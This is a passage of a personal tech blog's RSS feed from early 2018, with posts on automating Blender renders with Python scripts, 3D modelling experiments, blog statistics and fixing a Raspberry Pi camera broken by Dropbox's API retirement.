CAMERABOTTOM="Camera.bottom"
TRACKSIZE=11

bpy.context.scene.layers[0] = True
# Create empty(camera target)
bpy.ops.object.empty_add(type='SPHERE', view_align=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))
bpy.context.object.name = TARGET
# Create camera track curve
bpy.ops.curve.primitive_bezier_circle_add(radius=1, view_align=False, enter_editmode=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))
bpy.context.object.name = TRACK
bpy.context.object.scale[1] = TRACKSIZE
bpy.context.object.scale[2] = TRACKSIZE
bpy.context.object.scale[0] = TRACKSIZE
# Create Top camera
bpy.ops.object.camera_add(view_align=True, enter_editmode=False, location=(0, 0, 0), rotation=(0,0,0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))
bpy.context.object.name = CAMERATOP
# Parent to camera track
bpy.data.objects[TRACK].select = True
bpy.context.scene.objects.active = bpy.data.objects[TRACK]
bpy.ops.object.parent_set(type='OBJECT', keep_transform=False)
bpy.data.objects[TRACK].select = False
bpy.context.scene.objects.active = bpy.data.objects[CAMERATOP]
bpy.context.object.location[1] = 0-TRACKSIZE     # Y
bpy.context.object.location[2] = 3     # Z
# Create tracking constraint
bpy.ops.object.constraint_add(type='LOCKED_TRACK')
bpy.context.object.constraints["Locked Track"].target = bpy.data.objects[TARGET]
bpy.context.object.constraints["Locked Track"].track_axis = 'TRACK_NEGATIVE_Z'
bpy.context.object.constraints["Locked Track"].lock_axis = 'LOCK_X'
# Create Bottom camera
bpy.ops.object.duplicate() 
bpy.context.object.name = CAMERABOTTOM
bpy.context.object.location[2] = -3     # Z
bpy.data.objects[CAMERABOTTOM].select = False
# Create orbit animation
bpy.data.objects[TRACK].select = True
bpy.data.objects[TRACK].keyframe_insert(data_path='rotation_euler', frame=(bpy.context.scene.frame_current))
bpy.context.scene.frame_end = 360
bpy.context.scene.frame_current = 360
bpy.data.objects[TRACK].rotation_euler = ( 0, 0, math.radians(359) )
bpy.data.objects[TRACK].keyframe_insert(data_path='rotation_euler', frame=(bpy.context.scene.frame_current))
# Set interpolation
for fc in bpy.data.objects[TRACK].animation_data.action.fcurves:
    fc.extrapolation = 'LINEAR'
    for kp in fc.keyframe_points:
        kp.interpolation = 'LINEAR'

print("Camera tracking script finished setup")
</code>

So that all looks big and scary but I had to write almost NONE of it. Blender's [em]Report Console[/em]
<img src="images/report_console.png" alt="partial blender screen shot showing the report console" >
is writing all the code as you complete the actions in the editor!

I did change all the String names to variables, but mostly it is unchanged.

The first action line
<code>bpy.context.scene.layers[0] = True</code>
was needed to force the target file to allow changes to the 1st layer. The code had worked fine in all my tests where no other layers were selected, but when I came to the actual Pi files that used multiple layers, weird things happened. Such as certain objects not getting added, even though no errors were reported and the script completed. I had seen a number of example scripts starting with this command, so it was a no-brainer to add it.

Then we just create and name an [em]Empty[/em] at the center of the scene
<code># Create empty(camera target)
bpy.ops.object.empty_add(type='SPHERE', view_align=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))
bpy.context.object.name = TARGET</code>

Create a [em]Bezier circle[/em], scale and name it
<code># Create camera track curve
bpy.ops.curve.primitive_bezier_circle_add(radius=1, view_align=False, enter_editmode=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))
bpy.context.object.name = TRACK
bpy.context.object.scale[1] = TRACKSIZE
bpy.context.object.scale[2] = TRACKSIZE
bpy.context.object.scale[0] = TRACKSIZE</code>

Create a [em]Camera[/em] and name it
<code># Create Top camera
bpy.ops.object.camera_add(view_align=True, enter_editmode=False, location=(0, 0, 0), rotation=(0,0,0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))
bpy.context.object.name = CAMERATOP</code>

Now parent the [em]Camera[/em] to the [em]"Track"[/em]
<code># Parent to camera track
bpy.data.objects[TRACK].select = True
bpy.context.scene.objects.active = bpy.data.objects[TRACK]
bpy.ops.object.parent_set(type='OBJECT', keep_transform=False)
bpy.data.objects[TRACK].select = False
bpy.context.scene.objects.active = bpy.data.objects[CAMERATOP]
bpy.context.object.location[1] = 0-TRACKSIZE     # Y
bpy.context.object.location[2] = 3     # Z</code>
I also moved the camera deliberately after the parenting, to make sure the [em]Camera[/em] was parented to the [em]"Track"[/em] and not the other way around.

At this point the [em]Camera[/em] is still pointing straight down, so we setup a tracking constraint to make it "look at" the [em]Empty[/em]
<code># Create tracking constraint
bpy.ops.object.constraint_add(type='LOCKED_TRACK')
bpy.context.object.constraints["Locked Track"].target = bpy.data.objects[TARGET]
bpy.context.object.constraints["Locked Track"].track_axis = 'TRACK_NEGATIVE_Z'
bpy.context.object.constraints["Locked Track"].lock_axis = 'LOCK_X'</code>
Had to try a large number of these options before I hit on the combination that worked for me.

Now I can duplicate the [em]"Top Camera"[/em], inheriting it's parenting and constraints, before repositioning and renaming it
<code># Create Bottom camera
bpy.ops.object.duplicate() 
bpy.context.object.name = CAMERABOTTOM
bpy.context.object.location[2] = -3     # Z
bpy.data.objects[CAMERABOTTOM].select = False</code>

Everything is setup except the animation. To create a neat cyclic animation I changed the length of the animation to 360 frames and set the rotation calculation to 359. To get all the Blender code I had to run with the additional command line parameter
<code>--debug-wm</code>

and finally, I did not want the default easing, but instead, constant velocity. A number of suggestions on how to toggle the default extrapolation type DID change the default extrapolation type but did NOT affect the animation. So the solution was to go through the animation one KeyFrame at a time and set them to [em]Linear[/em]. That final loop was almost the only Python I needed to write.

<code># Set interpolation
for fc in bpy.data.objects[TRACK].animation_data.action.fcurves:
    fc.extrapolation = 'LINEAR'
    for kp in fc.keyframe_points:
        kp.interpolation = 'LINEAR'</code>

see all the [em]bpy.context[/em] etc? Nearly all the example scripts you see will extrapolate those out to alias variable names. As I was copying and pasting from Blender directly I thought I should keep them in.

Now to start using these scripts to make some animations, there will be quite a few.
</description>
</item>
<item>
<title>copy and paste blender with a sprinkling of python</title>
<pubDate>Sat, 27 Jan 2018 12:13:27 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p270120181213</link>
<description>
Of the [url title="three python scripts"]Jan2018.html#p210120182245[/url] for automating Blender, the [em]setup.sh[/em] is the most non Blender. But should not be thought as any less important.

<code>
import bpy
import sys       # to get command line args
import argparse  # to parse options for us and print a nice help message

# argument parsing code from https://developer.blender.org/diffusion/B/browse/master/release/scripts/templates_py/background_job.py

def main():
    import sys       # to get command line args
    import argparse  # to parse options for us and print a nice help message

    # get the args passed to blender after "--", all of which are ignored by
    # blender so scripts may receive their own arguments
    argv = sys.argv

    if "--" not in argv:
        argv = []  # as if no args are passed
    else:
        argv = argv[argv.index("--") + 1:]  # get all args after "--"

    # When --help or no args are given, print this help
    usage_text = (
            "Run blender with this script:"
            "  blender --python " + __file__ + " -- [options]"
            )

    parser = argparse.ArgumentParser(description=usage_text)

    # Possible types are: string, int, long, choice, float and complex.
    parser.add_argument("-m", "--material", dest="material", type=str, required=False,
            help="This material will be used for the render layers")

    parser.add_argument("-l", "--layers", dest="layers", type=str, required=False,
            help="This comma separated list of layer numbers defines which are the render layers")

    parser.add_argument("-c", "--camera", dest="camera", type=str, required=False,
            help="Camera to set active")

    args = parser.parse_args(argv)  # In this example we wont use the args

    if not argv:
        parser.print_help()
        return

    # Run the example function
    #example_function(args.text, args.save_path, args.render_path)
    print("setting up")

    # Set layers 
    if args.layers :
      print("--layers", args.layers)
      layerarray=args.layers.split(',')
      for i in range(len(bpy.context.scene.layers)) :
        if str(i) in layerarray :
          bpy.context.scene.layers[i]=True
        else :
          bpy.context.scene.layers[i]=False

    # Set render material
    if args.material:
      print("--material", args.material)
      if args.material in bpy.data.materials :
        bpy.context.scene.render.layers["RenderLayer"].material_override = bpy.data.materials[args.material]

    # set camera
    if args.camera:
      print("--camera", args.camera)
      if args.camera in bpy.data.objects :
        bpy.context.scene.camera = bpy.data.objects[args.camera]

    print("set up complete")

# call main function
main()
</code>

So apart from the obvious customisation for my specific parameters and the "set" code this all copied verbatim from [url]https://developer.blender.org/diffusion/B/browse/master/release/scripts/templates_py/background_job.py[/url] which is just perfect for what I needed.

Out of the [url title="three python scripts"]Jan2018.html#p210120182245[/url] this is the only one I had to actually write some Python.

The [em]--layers[/em] parameter represents the layers that should be used in the rendering. I like to segregate different parts and often just the bits I am working on to separate layers, just to keep everything cleaner. Here the values are received as comma separated values e.g.
<code>
1,3,9
5,6
9
2,3,4,5,6,9,15</code>
So the first example gets interpreted as three layers to enable and code loops through all the layers setting them used or unused to match.

The [em]--material[/em] ideally uses a string name from my [url title="materials library"]Jan2018.html#p220120182113[/url] but it checks to see if the supplied name is a material Blender has access to. If the material is found it used to set the Render material, overriding any other material assignments.

Remember, this (and the other) scripts are operating on an existing file, not altering it.

Finally we need a way to select the Top or Bottom camera, though any named camera is acceptable.

All these settings are optional. If you have a non-optional parameter the [url title="background_job.py"]https://developer.blender.org/diffusion/B/browse/master/release/scripts/templates_py/background_job.py[/url] example script does include one.

The blendering Blender script next time.
</description>
</item>
<item>
<title>command line avalanche only way to link script blender</title>
<pubDate>Mon, 22 Jan 2018 21:13:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p220120182113</link>
<description>
Of the [url title="three python scripts"]Jan2018.html#p210120182245[/url] for automating Blender, the [em]materials.sh[/em] is the shortest.

<code>
import bpy

print("Material library script starting")
# Load materials
bpy.ops.wm.link(filepath="/home/user/camera track endevour/materiallibrary.blend/Material/LL_WireTrans", directory="/home/user/camera track endevour/materiallibrary.blend/Material/", filename="LL_WireTrans", files=[{"name":"LL_Clay", "name":"LL_Clay"}, {"name":"LL_Glass", "name":"LL_Glass"}, {"name":"LL_WireHold", "name":"LL_WireHold"}, {"name":"LL_WireTrans", "name":"LL_WireTrans"}], relative_path=True)
print("Material library script finished")
</code>

The first line is the most important and will be in most Blender related scripts as it gives access to all the Blender objects and functions. The [em]print[/em] statements are there so I can track which script is running when all I can see is the command line.

The really wacky long line was not cleverly written or even researched by me, Blender wrote it. In fact, Blender will happily write all sorts complex python code for you...

<img src="images/report_console.png" alt="partial blender screen shot showing the report console" >
Here I have pulled open the Report Console and then duplicated the default Cube. There is a lot more code of the side of the screen shot and if I were to copy and execute it, Blender would duplicate the default Cube again and move it to the same place. Blender happily adds these type of commands to the Report Console when you perform "most" actions.

Unfortunately, the actions to add a link .blend file and select the materials is not in the list of "most". But you can turn on various kinds of debug via the command line.

I did use 
<code>--debug-wm </code>
to see a few extra commands but it did not include the materials link.

<code>--debug-all </code>
showed even more in the Report Console, but not the materials link.

But it did flood the command line and in the huge avalanche, tucked in was that line. The pure code to do the one thing I needed, with all the paths and other names perfect for my system.
Copied and Pasted it into my script, ran it from the command line and there were my materials all nicely linked!

More scripting goodness next time.
</description>
</item>
<item>
<title>3x beefed up blender pi command line pipeline</title>
<pubDate>Sun, 21 Jan 2018 22:45:49 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p210120182245</link>
<description>
So I have 98 iterations of the [url title="Raspberry Pi 3 HiRes project"]/raspberrypihiresproject.html[/url] blend file and I wondered how I could get consistent renderings from each to compile into a "making of" video.

In the [em]Save As[/em] window is a [em]+[/em]. If you choose [em]Save As[/em] and click the [em]+[/em] each file will have an incremented number at the end of the name. It is very handy to try things out knowing nothing will be lost and [em].blend[/em] files are quite small, if you do not pack textures into them.

Blender allows you to run it from the command line, with and without GUI and include python scripts.

<code>blender my.blend --python myscript.py</code>

Note: the order is important. Blender processes the requests in a first come, first served, order. I was putting my script first for ages as I did not get any errors. But it was executing [em]before[/em] the blend file had been loaded :(

You can also string python scripts together on the command line.

<code>blender my.blend --python myscript1.py --python myscript2.py</code>

Will load the [em]my.blend[/em] file then execute [em]myscript1.py[/em] and then [em]myscript2.py[/em]

and if that was not cool enough, you can pass parameters to the scripts(with a few caveats).

<code>blender my.blend --python myscript1.py --python myscript2.py -- --my-parameter "myvalue"</code>

Blender ignores everything after the "--" and any of the python scripts are free to do with them what they want. Blender comes with a command argument parsing feature [em]argparse[/em] that makes this a breeze.

if you run Blender with [em]--background[/em] then the GUI does not load and just executes everything you asked of it before quitting.

So, I was able to create three scripts and one library file that I can string together on the command line so from the command line Blender ...

Loads my target [em].blend[/em] file
Adds an [em]empty[/em]
Adds a [em]bezier circle[/em]
Adds a [em]camera[/em]
Parents the [em]camera[/em] to the [em]bezier circle[/em] with a [em]locked track[/em] constraint to the [em]empty[/em]
Duplicates the initial parented [em]camera[/em]
Adds key frames to animate the [em]bezier circle[/em] and it's children (the two cameras)
Links a materials library [em].blend[/em] 
Sets the [em]Render layers material[/em], if supplied in the arguments
Sets the [em]Render layers[/em], if supplied in the arguments
Sets the active [em]camera[/em], if supplied in the arguments
Starts rendering

phew! There is a lot there.

The [em].blend[/em] file load and the rendering are just standard command line Blender.
The Camera track was a single script, more on that in another post.
The Material library link is the second script and has only one(functional) line it, but will have another post.
The third script handles the command line parameters to allow me to select the "Top" or "Bottom" camera on the "Camera track" and the layers I want rendered. This is because, as I have worked different objects have been placed in different layers for various reasons.
Also in that script I can set the overriding material to do the rendering with. Currently I have a "clay", "glass" and two wire frame materials to call on.

This means I can start renders for complete or partial animations of any blend file(the "camera track" is tuned to the [url title="Raspberry Pi 3 HiRes project"]/raspberrypihiresproject.html[/url] ) using the materials in the blend files or overriding them with entries from my library. Also selecting one of two custom animated orbiting cameras.

There was so much learned in the last two days that further posts will expand on the tricks and tips required.
</description>
</item>
<item>
<title>auto smooth is the anti pro smooth i have been looking to blend</title>
<pubDate>Sat, 20 Jan 2018 11:14:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p200120181114</link>
<description>
I have finished the texture updates to remove shadows on the [url title="Raspberry Pi 3 HiRes project"]/raspberrypihiresproject.html[/url].

Kept finding "one more" bit to tweak, but I am putting a stop to that now or I will never be finished.

Have started a dedicated page to show off all the past and future work for [url title="Raspberry Pi 3 HiRes project"]/raspberrypihiresproject.html[/url].

One last note from the world of Modelling.

<img src="images/rpihires_pwr_connector_flatshading.png" alt="3d render highlighting flat shading" >
This is the USB micro power supply connector from the [url title="Raspberry Pi 3 HiRes project"]/raspberrypihiresproject.html[/url] as it was. You can clearly see the sides are not smooth. Although it looks OK at a distance I was not happy.

<img src="images/rpihires_pwr_connector_smoothshading.png" alt="3d render highlighting smooth shading" >
Here it is again with "Smooth Shading" enabled. I have angled and lit it to show off the excessive smoothing. If only I could smooth non flat parts of the model...

<img src="images/blender_autosmooth_30.png" alt="blender setting auto smooth 30" >
Ah ha! "Auto Smooth" with the angle set to 30 degrees.

<img src="images/rpihires_pwr_connector_smoothshading_auto_30.png" alt="3d render highlighting auto smooth shading set to 30" >
That looks perfect. I also went around and applied the same fix to all the other connectors.

Blender always surprises me, in a good way!

OK, next steps are to flesh out the empty [url title="Raspberry Pi 3 HiRes project"]/raspberrypihiresproject.html[/url] page and start tidying up.
</description>
</item>
<item>
<title>what the tag or failure for all</title>
<pubDate>Sat, 20 Jan 2018 10:59:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p200120181059</link>
<description>
A couple of flog stats since the [url title="year 2017 summary"]Jan2018.html#p020120182051[/url]

number of different tags 1115
3365 total posts with tags
803 unique tags

Top Tags
[url title="Raspberry pi 108 69"]tags.html?tag=raspberrypi[/url]
[url title="linux 108"]tags.html?tag=linux[/url]
[url title="code 87"]tags.html?tag=code[/url]
[url title="review 79"]tags.html?tag=review[/url]
[url title="Blender 69"]tags.html?tag=blender[/url]
[url title="fail 50"]tags.html?tag=fail[/url]
[url title="usb 50"]tags.html?tag=usb[/url]
[url title="Blender 69"]tags.html?tag=blender[/url]

Slightly concerned with the [url title="fail"]tags.html?tag=fail[/url] one, but all learning is improved by a bit of abject and total failure !)

All those stats are only since I started tagging in [url title="Feb 2007"]Feb2007.html[/url]. I notice the css is pretty screwed up on those old pages now :(
</description>
</item>
<item>
<title>jet set radio random vmu blast from the past mystery</title>
<pubDate>Sun, 07 Jan 2018 22:22:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p070120182222</link>
<description>
How is this for random.

I need some background music so I turned to the internet streaming sensation
[url title="Radio Sega"]https://www.radiosega.net/[/url]

On there I saw a link to [url title="The Dreamcast Junkyard"]http://www.thedreamcastjunkyard.co.uk[/url]
That has a rather surprising number of stories just from the last month, let alone year. After reading rather too many articles, I decided to look around and see if my [url title="Space Invaders VMU style"]http://www.jumpstation.co.uk/si/si.html[/url] was mentioned anywhere.
[url]http://www.thedreamcastjunkyard.co.uk/2006/05/vmu-wonders.html[/url]
Nice, 7/10, not bad at all!

During my search I had come across a page about a [url title="limited edition Jet Set Radio graffiti set on VMU"]http://www.thedreamcastjunkyard.co.uk/2016/11/digital-artists-create-jet-set-radio.html[/url], could it be?

Remember when I was slightly confused at being asked to [url title="update some 15+ year old code to support 64 bit?"]Jun2017.html#p100620171129[/url] It seems that that event used my [url title="code"]http://www.jumpstation.co.uk/dreamcast/ii2d.html[/url]

[url title="VMU squad"]https://sites.google.com/site/vmusquad/home/graffiti-collection-1[/url]

and then, I found the [url title="Complete History of Seaman"]https://www.youtube.com/watch?v=BAbZovMNZiQ[/url] which was a really nice video and showed me loads of stuff I did not know about this under rated Dreamcast game.
</description>
</item>
<item>
<title>blender fail companion cube</title>
<pubDate>Sun, 07 Jan 2018 21:34:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p070120182134</link>
<description>
Yet another distracted Blendering I did recently.

This time I had a specific goal. To create the minimum of geometry and use [em]Modifiers[/em] to do the heavy lifting. It did not turn out quite as I wanted, but there were some good bits so...

Looking at the Portal [url title="Weighted Companion Cube"]https://theportalwiki.com/wiki/Weighted_Companion_Cube[/url] that I got as part of [url title="Funko Pop! Chell"]https://www.funko.com/products/all/all/product/pop-games-portal-chell[/url], it seems highly symmetrical, apart from the heart.

I started with a plane that I moved to the right and above the center point. Then cut it in half diagonally with the [em]Knife[/em] tool and extruded a couple of subdivided edges.
<img src=images/portal_cube/companion_cube_super_mods_001.png" alt="screenshot of part of a portal companion cube">

After extruding into 3D two areas I used the [em]Knife Project[/em] to slice two circles. 
This did nothing other than create edges which I could then use to remove faces.
<img src=images/portal_cube/companion_cube_super_mods_001b.png" alt="screenshot of part of a portal companion cube 3D">

This 3D "slice" should be able to be rotated 45 degrees 16 times and we get the cube face! Not quite, needs to be mirrored and then repeated at 90 degrees.
<img src=images/portal_cube/companion_cube_super_mods_003.png" alt="screenshot of part of a portal companion cube 3D">

I did try using an [em]Array Modifier[/em] with a [em]Simple Deform - Bend - 360[/em] but it just bent everything, not just the layout. So I switched to using an [em]Particle Emitter[/em].
<img src=images/portal_cube/companion_cube_super_mods_010.png" alt="screenshot of part of a portal companion cube 3D no mirror">
<img src=images/portal_cube/companion_cube_super_mods_00G.png" alt="screenshot of part of a portal companion cube no mirror 3D">

This seemed to work and just need the center reset, so instead of appearing at the extremities of the base plane, would create a single "face". I tried a lot here and I am not sure why it did not work. In the end I settled for Scaling the base emitter plane. First I tried a scale of 0, but that messed everything up, so I just scaled manually until I could not go any further.
Even though there were technically gaps between the "slices" you could not see them, even when zoomed in.
<img src=images/portal_cube/companion_cube_super_mods_00G.png" alt="screenshot of face of a portal companion cube 3D">

Then I extruded the edges in the base "slice" to get rid of the corner square holes.

Here I tried to use another [em]Particle Emitter[/em], but [em]Particle Emitters[/em] do not like being [em]Particle Emitters[/em] and everything I tried made things very messy, just emitting from cube.
Then I remembered hearing about [em]Dupliverts[/em]. This took a lot of trial and error but eventually I Converted the [em]Particle Emitter[/em] into a Mesh and Parented it to a Cube with [em]Dupliverts[/em].
The key was to clear all the Rotation, Scale and Transforms from the newly created Mesh.
<img src=images/portal_cube/companion_cube_super_mods_005.png" alt="screenshot of a portal companion cube wire frame">

Which made this rather cool basic Companion Cube.
<img src=images/portal_cube/companion_cube_super_mods_006.png" alt="screenshot of a portal companion cube base render">

It was a simple matter to add a [em]2D Mesh[/em] with a [em]Mirror[/em] modifier and use the [em]Proportional[/em] edit to create a heart. This was then [em]Dupliverted[/em] with another Cube and joined to the Companion Cube mesh.
<img src=images/portal_cube/companion_cube_super_mods_007.png" alt="screenshot of a portal companion cube wire frame with hearts">

<img src=images/portal_cube/companion_cube_super_mods_009.png" alt="screenshot of a portal companion cube material view">

I could not help but add a plane as the floor, set it as a passive physics element and then duplicate a load of Companion Cubes as active physics.
<img src=images/portal_cube/companion_cube_super_mods_008.png" alt="screenshot of a portal companion cube animation frame">

This looked really cool in the Material view when previewed but the resulting animation(that took over 24 hours to create at 1920x1080) looked pretty rubbish because of the corners and edges over lapping.

I might revisit this in future. The initial [em]Knife Project[/em] did not create enough geometry to get nice curves and I know see that the corners do not have a vertical cut anyway. Would have been nice to line up everything, for this I just need to have been more careful earlier on. Could have skipped [em]Particle Emitter[/em] and just stuck with [em]Dupliverts[/em].

The end goal would have included making the edges nice and smooth. Now I can see my Portal 2 Cube has orange lines appearing like cross hairs on each face.
</description>
</item>
<item>
<title>distracted star growth blendering</title>
<pubDate>Sun, 07 Jan 2018 12:40:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p070120181240</link>
<description>
Here is another distracted Blendering I did recently.

<iframe width="560" height="315" src="https://www.youtube.com/embed/6o1_fevJmf8" frameborder="0" gesture="media" allow="encrypted-media" allowfullscreen></iframe>

It is insanely simple to set up. 

Extrude a single plane from the default cube and scale to a point. Then add an [em]Array Modifier[/em] with [em]Simple deform - Bend - 360[/em].

Then animate the [em]Array - Count[/em]. I then edited the animation curve to make the progression start slow and get faster.

Finally the [em]Principled BSDF[/em] material with a healthy dose of [em]Sub Surface[/em] gives the object a realistic depth in the lighting.
</description>
</item>
<item>
<title>xmas 2017 better late than never</title>
<pubDate>Sun, 07 Jan 2018 12:03:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p070120181203</link>
<description>
Oops, forgot to post this render from Xmas

<image src="images/xmas2017blend_snow.jpg" alt="3D render of an Christmas tree in the snow with presents and snow flakes">

The tree was created using the built-in [em]Sapling Tree Gen[/em]. This creates a curve that can be [em]Solidified[/em] then [url title="tinsel added by my usual method"]Mar2017.html#p050320172248[/url]. 

The presents were created and animated as with last years, just with a bit more care. The presents fell from a much lower height and I used the default physics settings. The bows were quite time consuming, but were basically extruded curves. The texture was something that did not quite work out. I wanted to use procedural textures and this is the [em]Checker[/em] texture stretched. Looks fine on the sides by totally fails on the tops and bottoms. I could have fixed this with more time.

The snow flakes were a simple plane extruded a couple of times with a mirror modifier and then an [em]Array Modifier[/em] with [em]Simple deform - Bend - 360[/em](which is my new best friend). Then duplicated into a large grid and [em]Randomly transformed[/em].

I desperately wanted to light is with an HDR image but the results were not very good, so I just rendered with a transparent background and used Gimp to added the gradient.

One last cool bit was using the [em]Principled BSDF[/em] with [em]Sub Surface[/em] to give the ice and snow a realistic sheen. More on that in another post soon.

Not quite as late as [url title="last year's"]Feb2017.html#p190220172206[/url] :)

</description>
</item>
<item>
<title>a 2017 yearly review in january what</title>
<pubDate>Tue, 02 Jan 2018 20:51:50 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p020120182051</link>
<description>
2018 already?
Tis the season to do a [url title="yearly summary"]archive.html[/url].

First some stats. Since adding an rss xml feed back in 2007 I had forgotten I had a happy little script updating an xml file with every post. But this f-log has been running since [url title="2002"]archive.html[/url]

<code>egrep pubDate scripts/f-log/rss/flog.xml | egrep -o "20[0-9][0-9]" | uniq -c</code>
(remember "friends do not let friends use standard non egrep grep")
<code class="output">
     73 2017
     60 2016
     61 2015
     64 2014
     50 2013
     32 2012
     21 2011
     70 2010
     45 2009
    101 2008
    106 2007
</code>

and here is the [url title="2017 Yearly Summary"]year2017.html[/url]
</description>
</item>
<item>
<title>windows lost share issue from oct 2015</title>
<pubDate>Sun, 31 Dec 2017 23:09:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p311220172309</link>
<description>
OMG! I have found another un-blogged post from Oct 2015. Looks like it was  busy couple of months, including the life changing leg break. So I am letting myself off.

As it is perfectly relevant now as it was then I have reproduced in full.

As part of my new job I shuffle files around servers. Normally this is quite simple and straight forward but one Windows 2008 R2 server decided to be awkward and not allow me to remotely connect.
There was no error message or any other traceable problem so I just setup a share on the <code>c:\inetpub</code> folder which holds the web site files. I set the share only to myself and got on with my job.
The following day I was off with one of the kids as they could not go to school with an infectious illness. I went in the next day to find all hell had broken loose! It transpired that when I set the permission on that share it removed all the carefully curated local accounts that were used by the web server. The web server had been unable to read the files it need to serve and I got a chewing out.
Perplexed by this turn of events and the fact no body seemed to think this was expected behaviour I tried some experiments(on non essential folders) and was able to repeat the issue.
Due to this repeatably I assumed it was one of those secret lore things and there would be an obscure reference to it in the official documentation or a few blogs discussing it. But no, I could only find <a href="http://serverfault.com/questions/254240/applying-permissions-for-share-removes-permissions-on-local-folder-win-2008-r2">one old Stack Overflow question</a> that had never been properly resolved.
So I <a href="http://serverfault.com/questions/727545/windows-server-2008-r2-sharing-removes-local-users-expected">created my own</a> and tried a few more experiments, different machines different windows and IIS versions. Some times it had the issue other times it did not. I decided the only sensible thing was not to use Windows shares in that way again, consider them tainted!
</description>
</item>
<item>
<title>a pebble gem lost from oct 2015</title>
<pubDate>Sun, 31 Dec 2017 23:01:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p311220172301</link>
<description>
Ok, less than an hour to go until 2018 and I found this gem from Oct 2015. 

As it is perfectly relevant now as it was then I have reproduced in full.

I want to say I have been back and completed my Pebble Time Magic 8 ball app, but I have not had the time. What I have done with it though is to take it on holiday to sunny Spain where it more than happily weathered the sun, sea and sun cream.
So impressed with this little delight. Especially not having to worry about getting my phone out to read text messages and being able to reject calls. 
But the most amazing thing has to be the battery life, 7 days almost on the dot. Even when it is on 0 power and stops functioning as a smart watch it switches to a simple digital time face and continues to show the time! 
</description>
</item>
<item>
<title>Am I flogging a dead horse adding minor mobile support</title>
<pubDate>Sun, 31 Dec 2017 22:04:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p311220172204</link>
<description>
It is just a few hours before 2018 and I just needed one more post to try out some mobile changes...

Just knocked up some very simple previous and next buttons in Inkscape to make switching pages easier.

<img src="svg/flog_previous_button.svg" alt="previous button">
<img src="svg/flog_next_button.svg" alt="next button">
</description>
</item>
<item>
<title>dropbox long over due upgrade to script</title>
<pubDate>Sun, 31 Dec 2017 14:34:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2017.html#p311220171434</link>
<description>
Do you remember my Pi security camera made out of [url title="a toilet roll?"]May2016.html#p020520162129[/url]

Well I do and it had been working fine in the past, so I was surprised to find it non operational when I tried to use it over the holidays.

I tried to ssh to it but it either dropped the connection before I logged in or shortly after. It became apparent that this Pi was continuous rebooting.

I checked the log files and sure enough the main script was failing and causing a reboot. The launcher shell script simply starts the Python code and runs in a loop, if the Python code stops the next line in the shell script is reboot.

<code>2017/08/06 21:17:26 rebooting on exit of launcher</code>

That instance was because [em]api-content.dropbox.com[/em] was not available. Not sure if dropbox was down or my connection to it. Any way, the script found the issue rebooted and ran fine by time it came up again.

Then
<code>dropbox.rest.ErrorResponse: [500] u'The server has either erred or is incapable of performing the requested operation.'
2017/08/16 22:04:56 rebooting on exit of launcher</code>

Dropbox again, then on 28th August

<code>  File "/usr/local/lib/python2.7/dist-packages/dropbox/rest.py", line 227, in request
    raise ErrorResponse(r, r.read())
dropbox.rest.ErrorResponse: [400] u'v1_retired'
2017/09/28 19:31:23 rebooting on exit of launcher</code>

and from then on it just rebooted, loaded, failed and rebooted again, and again and again.

Seems Dropbox have dropped support for the v1 script API I was using.

"Catastrophic system failure is a good thing &trade;" is a t-shirt I used to wear to work, including when I worked at Microsoft. It simply means that when something goes horribly horribly wrong, it is an opportunity to make better. The &trade; was a jibe at how many corporation used the "it's feature not a bug" excuse.

So what we have here is number of failures.

1: I did not heed Dropbox's warning. They did email me one, so I wonder if I checked the code at that time and it still worked. But their plan was shut it down gradually.
2: I was not monitoring this Pi. To be fair, I did have a plan to do a big monitoring solution... but never got around to it.
3: The reboot on script exit was flaky to say the least. Although it did work for a couple of issues it was always headed in this direction. Could have at least had a sliding timeout so if it had been going on for a while I could have ssh'd in.
4: As well as monitoring there were no alerts. Could of sent an email or any other number of "Help" messages.

To fix;
Disable the reboot line in the script. Except I cannot save the change, as all the log files have filled up the tiny 4GB SD card. Or not, there was just under 1GB of captured photos. they only get removed once successful uploaded. and /opt/Wolfram was 500MB.

Maybe simply updating the packages will fix the issue...
<code>
sudo apt-get update
sudo apt-get upgrade -y
</code>

But afterwards, my short test script still erred with
<code class="output">
dropbox.rest.ErrorResponse: [400] u'v1_retired'
</code>

and 
<code >
sudo pip install --upgrade dropbox
</code>
<code class="output">
Cannot fetch index base URL http://pypi.python.org/simple/
Could not find any downloads that satisfy the requirement dropbox in /usr/local/lib/python2.7/dist-packages
No distributions at all found for dropbox in /usr/local/lib/python2.7/dist-packages
</code>

Hmmm,
<code>sudo easy_install dropbox</code>
<code class="output">Searching for dropbox
Best match: dropbox 2.2.0
Adding dropbox 2.2.0 to easy-install.pth file

Using /usr/local/lib/python2.7/dist-packages
Processing dependencies for dropbox
Finished processing dependencies for dropbox
</code>

<code>sudo pip install dropbox</code>
<code class="output">Requirement already satisfied (use --upgrade to upgrade): dropbox in /usr/local/lib/python2.7/dist-packages
